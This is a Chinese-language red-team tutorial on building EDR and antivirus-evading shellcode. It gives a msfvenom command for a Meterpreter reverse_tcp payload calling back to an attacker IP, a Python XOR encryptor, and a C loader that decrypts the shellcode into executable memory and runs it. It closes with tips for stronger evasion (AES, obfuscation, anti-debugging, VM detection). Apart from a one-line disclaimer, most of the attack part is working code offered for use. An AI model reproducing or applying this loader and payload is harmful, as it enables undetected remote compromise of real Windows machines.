0x01 从防御角度反推攻击方法
在现代的安全对抗中,EDR(Endpoint Detection and Response)产品成为了蓝队的强大武器。它们通过行为分析、静态签名检测、内存扫描等手段,对恶意载荷进行拦截,阻断攻击链的关键环节。尤其是对 shellcode 的检测,已经形成了一套较为成熟的机制,如扫描内存中的可疑代码段、分析 API 调用行为等。
但从攻击者的视角来看,防御措施越强,只会激发更精妙的攻击技术。如何让 shellcode 在防御体系中“隐形”而不被检测,是红队绕过 EDR/AV 的核心领域之一。今天的主题就是如何通过加密和动态解密技术,制作免杀 shellcode,并结合实际案例,演示这种技术如何在攻防中占据上风。
本文将展示如何使用 Python 和 C 编写一个加密 shellcode 的工具,并通过在内存中动态解密执行的方式实现免杀。所有内容仅用于合法授权的安全测试,请勿用于非法用途。
---
0x02 免杀技术的核心思路

要让 shellcode 免杀,核心技巧在于绕过静态和动态检测。以下是各环节的关键点:
- 静态检测对抗
大部分安全产品会根据 shellcode 的二进制特征或恶意字符串进行扫描。通过加密,可以有效隐藏原始的 payload,使得静态检测无从下手。
- 动态检测对抗
EDR 还会监控内存行为,比如调用 VirtualAlloc, WriteProcessMemory 等函数时的参数,以及代码执行情况。通过在内存中动态解密,结合一些花指令和非传统 API 调用,可以进一步规避动态分析。
- 流量分析规避
如果是通过网络下发 shellcode,还需注意流量的规避问题,比如使用 HTTPS 加密、协议混淆等。
本次的重点是加密和内存解密实现,确保生成的 shellcode 能在内存扫描时“伪装”成无害数据。流量规避和其他对抗技术将在后续文章中探讨。
---

0x03 环境搭建与工具准备
我们需要以下工具和环境以完成实战:
- 攻击机:Kali Linux,安装 Python3、MinGW 编译工具;
- 目标机:Windows 10(安装有 EDR/杀毒软件);
- 辅助工具:
msfvenom:生成原始 shellcode;Python:用于加密 shellcode;C:编写解密和执行逻辑;scdbg或x64dbg:用于验证和调试生成的 payload。
环境准备完成后,先用 msfvenom 生成一个基础的 shellcode:
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin</code></pre>
这会生成一个未加密的原始 shellcode,接下来我们将为它“包装”免杀外衣。
---

0x04 动手制作免杀 Shellcode
1. 加密 shellcode
我们用 Python 编写一个简单的加密工具,采用 XOR 加密方式。虽然 XOR 算法并不复杂,但由于加密后的内容完全不同于原始 shellcode,已经能够绕过许多静态检测。
以下是完整的加密代码:
<pre><code class="language-python">import sys
读取 shellcode 文件
def read_shellcode(file_path): with open(file_path, "rb") as f: return f.read()
XOR 加密
def xor_encrypt(shellcode, key): return bytes([b ^ key for b in shellcode])
保存加密后的 shellcode
def save_encrypted_shellcode(file_path, encrypted_shellcode): with open(file_path, "wb") as f: f.write(encrypted_shellcode)
if __name__ == "__main__": if len(sys.argv) != 4: print("使用方法: python3 encryptor.py <原始shellcode> <加密后文件> <密钥>") sys.exit(1)
shellcode = read_shellcode(sys.argv[1]) key = int(sys.argv[3]) # XOR 密钥为整数 encrypted_shellcode = xor_encrypt(shellcode, key) save_encrypted_shellcode(sys.argv[2], encrypted_shellcode)
print(f"加密完成,保存到: {sys.argv[2]},密钥: {key}")</code></pre>
运行加密脚本,将原始的 shellcode.bin 转换为加密后的版本:
<pre><code class="language-bash">python3 encryptor.py shellcode.bin encrypted_shellcode.bin 42</code></pre>
2. 编写解密与执行逻辑
接下来,在目标主机上运行的 payload 需要能解密 shellcode,并动态加载到内存中执行。以下是用 C 编写的代码:
<pre><code class="language-c">#include <stdio.h>
include <windows.h>
// XOR 解密函数 void xor_decrypt(unsigned char* data, int data_len, unsigned char key) { for (int i = 0; i < data_len; i++) { data[i] ^= key; } }
// 模拟加载加密的 shellcode unsigned char encrypted_shellcode[] = {/ 在这里填入加密后的 shellcode /}; int encrypted_shellcode_len = sizeof(encrypted_shellcode);
int main() { // 动态申请内存 void* exec_mem = VirtualAlloc(0, encrypted_shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 解密 shellcode xor_decrypt(encrypted_shellcode, encrypted_shellcode_len, 42); // 使用相同密钥解密 printf("[*] Shellcode 解密完成\n");
// 将解密后的 shellcode 写入内存 memcpy(exec_mem, encrypted_shellcode, encrypted_shellcode_len); printf("[*] Shellcode 写入内存成功\n");
// 执行 shellcode ((void(*)())exec_mem)(); return 0; }</code></pre>
将加密后的内容填入 encrypted_shellcode 数组,然后用 MinGW 编译:
<pre><code class="language-bash">x86_64-w64-mingw32-gcc -o loader.exe loader.c</code></pre>
---
0x05 检测与对抗
1. 验证免杀效果
将生成的 loader.exe 上传到目标机,运行后观察是否能成功回连。通常情况下,杀毒软件不会对加密后的 shellcode 识别为恶意内容,而动态解密和执行则难以被常规的行为规则捕捉。
2. 对抗提升建议
- 加密算法多样化:XOR 仅仅是入门,实际攻击中可以使用 AES 或自定义加密算法;
- 混淆解密代码:防止静态分析找到解密逻辑;
- 反调试技术:增强对抗能力,比如检测调试器、虚拟机等。
---
0x06 红队经验总结
免杀 shellcode 的制作并非一蹴而就,需要不断调整和试验以应对主流安全产品的检测。关键在于三点:加密(隐藏特征)、内存加载(绕过文件扫描)、动态执行(规避行为检测)。攻击者应始终关注最新的对抗技术,而防御者则需要更灵活的检测策略。
在对抗路上,攻防永无止境。希望你能从今天的文章中学到一些新的技巧,也期待你能用这些技术打造更强的防御体系。